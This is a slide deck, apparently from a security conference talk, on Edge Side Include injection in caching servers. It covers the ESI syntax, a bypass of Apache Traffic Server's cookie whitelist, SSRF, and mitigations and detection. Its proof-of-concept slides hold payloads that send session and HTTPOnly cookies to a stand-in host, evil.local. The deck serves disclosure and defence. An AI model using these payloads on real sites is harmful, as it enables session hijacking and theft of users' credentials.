50
Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil GoSecure

Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

  • Upload
    others

  • View
    24

  • Download
    1

Embed Size (px)

Citation preview

Page 1: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

Edge Side Include InjectionAbusing Caching Servers into SSRF and Transparent Session

Hijacking

Louis Dion-Marcil

@ldionmarcil

GoSecure

Page 2: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

Edge Side Includes (ESI) — Context❖ New class of attack on some caching servers

❖ Discovered by reading documentation

Page 3: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Brief Overview

Page 4: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Brief Overview

The Weather Website

Forecast for

Monday

Tuesday

Wednesday

Montréal

27°C

23°C

31°C

Page 5: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Brief Overview

The Weather Website

Forecast for

Monday

Tuesday

Wednesday

Montréal

27°C

23°C

31°C

Variable Fragments

Static Fragment

Page 6: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Brief Overview❖ Adds fragmentation to caching

❖ App Server send fragment markers in HTTP responses

<esi:[action] attr="val" />

❖ ESI tags are parsed by the HTTP surrogate (load balancer, proxy)

❖ Most engines require specific App Server HTTP Headers

Page 7: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI Features & Syntax — Include//esi/page-1.html:

<html> <p>This is page 1!</p> <esi:include src="//api/page-2.html" /></html>

//api/page-2.html:

<p>This is page 2!</p>

Page 8: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI Features & Syntax — Include

$ curl -s http://esi/page-1.html

<html> <p>This is page 1!</p> <p>This is page 2!</p></html>

Page 9: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Include Network Flow (Cache MISS)

Page 10: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Include Network Flow (Cache MISS)①/1.html

Page 11: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Include Network Flow (Cache MISS)①/1.html ②/1.html

Page 12: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Include Network Flow (Cache MISS)①/1.html

1.html + ESI

②/1.html

Page 13: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Include Network Flow (Cache MISS)①/1.html

1.html + ESI

②/1.html

ESI tags processed

Page 14: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Include Network Flow (Cache MISS)①/1.html

1.html + ESI

②/1.html

④/api/2.html

ESI tags processed

Page 15: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Include Network Flow (Cache MISS)①/1.html

1.html + ESI

②/1.html

④/api/2.html

2.html⑤

ESI tags processed

Page 16: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Include Network Flow (Cache MISS)①/1.html

1.html + ESI

②/1.html

④/api/2.html

2.html⑤⑥ +

ESI tags processed

Page 17: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI Features & Syntax — Variables

<esi:vars>$(VARIABLE_NAME)</esi:vars>

Page 18: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI Features & Syntax — Variables

<esi:vars>$(VARIABLE_NAME)</esi:vars>

$(HTTP_USER_AGENT) → Mozilla/5.0 (X11;[…]

$(QUERY_STRING) → city=Montreal&format=C

$(HTTP_COOKIE) → _ga=[…]&__utma=[…]

Page 19: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — VulnerabilitiesESI tags are sent by the application server…

… Parsed by the HTTP Surrogate.

How can the ESI Engine tell which tags are legitimate?

Page 20: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — VulnerabilitiesESI tags are sent by the application server…

… Parsed by the HTTP Surrogate.

How can the ESI Engine tell which tags are legitimate?

It can’t, and that’s a pretty big design flaw.

Page 21: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Injection<p> City: <?= $_GET['city'] ?></p>

Page 22: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Injection<p> City: <?= $_GET['city'] ?></p>

<p> City: <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars></p>

Page 23: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Injection<p> City: <?= $_GET['city'] ?></p>

<p> City: <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars></p>

Page 24: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI Implementations — Apache Traffic Server❖ Donated by Yahoo! to Apache

❖ ESI stack implemented, with bonus features

❖ Used by Yahoo, Apple

Page 25: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI Implementations — Apache Traffic Server❖ Offers Cookie whitelisting

❖ Critical cookies not accessible by ESI...

<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌

Page 26: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI Implementations — Apache Traffic Server❖ Offers Cookie whitelisting

❖ Critical cookies not accessible by ESI... or are they?

<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌

<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars> ✅

Page 27: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI Implementations — Apache Traffic Server❖ Offers Cookie whitelisting

❖ Critical cookies not accessible by ESI... or are they?

<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌

<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars> ✅

→ "_ga=[…]&PHPSESSID=b9gcvscc[…]"

Page 28: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 1 — Proof of concept

<img src="

//evil.local/username=attacker;session_cookie=s%3ANp...

">

<img src="

//evil.local/<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>

">

Page 29: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 1 — Proof of concept

<img src="

//evil.local/username=attacker;session_cookie=s%3ANp...

">

<img src="

//evil.local/<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>

">

Page 30: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 1 — Proof of concept

<img src="

//evil.local/username=attacker;session_cookie=s%3ANp...

">

Page 31: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 1 — Proof of concept

http://evil.local/username=attacker;session_cookie=s%3A...

Internet

Page 32: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 1Now we know...

❖ … we can inject ESI tags,

❖ … we can leak HTTPOnly cookies,

❖ … we don’t need JavaScript.

Let’s crank the impact up a notch.

Page 33: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI Implementations — Oracle Web Cache❖ Part of the 11g suite

❖ Usually serves WebLogic Application Servers

❖ Initial ESI specification implemented, plus features

Page 34: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 2 — Proof of concept

<esi:inline name="/js/jquery.js" /> var x = new XMLHttpRequest();

x.open("GET", "//evil.local/? <esi:vars>$(HTTP_COOKIE{session_cookie})</esi:vars>"); x.send();

</esi:inline>

Page 35: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 2 — Proof of concept

<esi:inline name="/js/jquery.js" /> var x = new XMLHttpRequest();

x.open("GET", "//evil.local/? <esi:vars>$(HTTP_COOKIE{session_cookie})</esi:vars>"); x.send();

</esi:inline>

Page 36: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 2 — Proof of concept

<esi:inline name="/js/jquery.js" /> var x = new XMLHttpRequest();

x.open("GET", "//evil.local/?lHKlM77VbP79hDnMX2Gg..."); x.send();

</esi:inline>

Page 37: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 2 — Proof of concept

http://evil.local/?lHKlM77VbP79hDnMX2Gg...

Internet

Page 38: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

DEMO 2Now we know...

❖ … we can overwrite arbitrary cache entries,

❖ … we can leak HTTPOnly cookies,

❖ … JavaScript helps, but not required.

Page 39: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Mitigations❖ mod_security with the OWASP Core Rule Set

Page 40: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Mitigations❖ mod_security with the OWASP Core Rule Set

❖ Proactive escaping

{ "first_name": "Louis", "last_name": "<esi:include src=\"/page-2.html\" />"}

Page 41: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Mitigations❖ mod_security with the OWASP Core Rule Set

❖ Proactive escaping

{ "first_name": "Louis", "last_name": "<esi:include src=\"/page-2.html\" />"}

Invalid ESI tag!

Page 42: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Mitigations❖ mod_security with the OWASP Core Rule Set

❖ Proactive escaping

{ "first_name": "Louis", "last_name": "<esi:include src=\"/page-2.html\" />"}

"last_name": "<esi:include src=/page-2.html />"

❖ This is valid with Apache Traffic Server

Invalid ESI tag!

Page 43: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

SSRF with Apache Traffic Server

Page 44: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

SSRF with Apache Traffic Server

Page 45: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

SSRF with Apache Traffic Server

Page 46: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — SSRF Flow ①/api/me

/api/me + ESI

②/api/me

/server-status

server-status⑤⑥ +

ESI tags processed

Page 47: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Manual Detection (by Alex Birsan @alxbrsn)FOO<!--esi -->BAR → FOOBAR ✅

FOO<!--foo -->BAR → FOO<!--foo -->BAR ❌

Page 48: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Manual Detection (by Alex Birsan @alxbrsn)FOO<!--esi -->BAR → FOOBAR ✅

FOO<!--foo -->BAR → FOO<!--foo -->BAR ❌

ESI — Automatic Detection❖ Burp ActiveScan++

❖ Burp Upload Scanner

❖ Acunetix

Page 49: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

ESI — Migration (by Lukas Rieder @overbryd)

❖ Cloudflare Workers

https://gist.github.com/Overbryd/c070bb1fa769609d404f648c

d506340f

Page 50: Hijacking Abusing Caching Servers into SSRF and ... · Edge Side Include Injection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil

Questions?Detailed blogpost of our prior research:

https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/

Louis Dion-Marcil

@ldionmarcil

GoSecure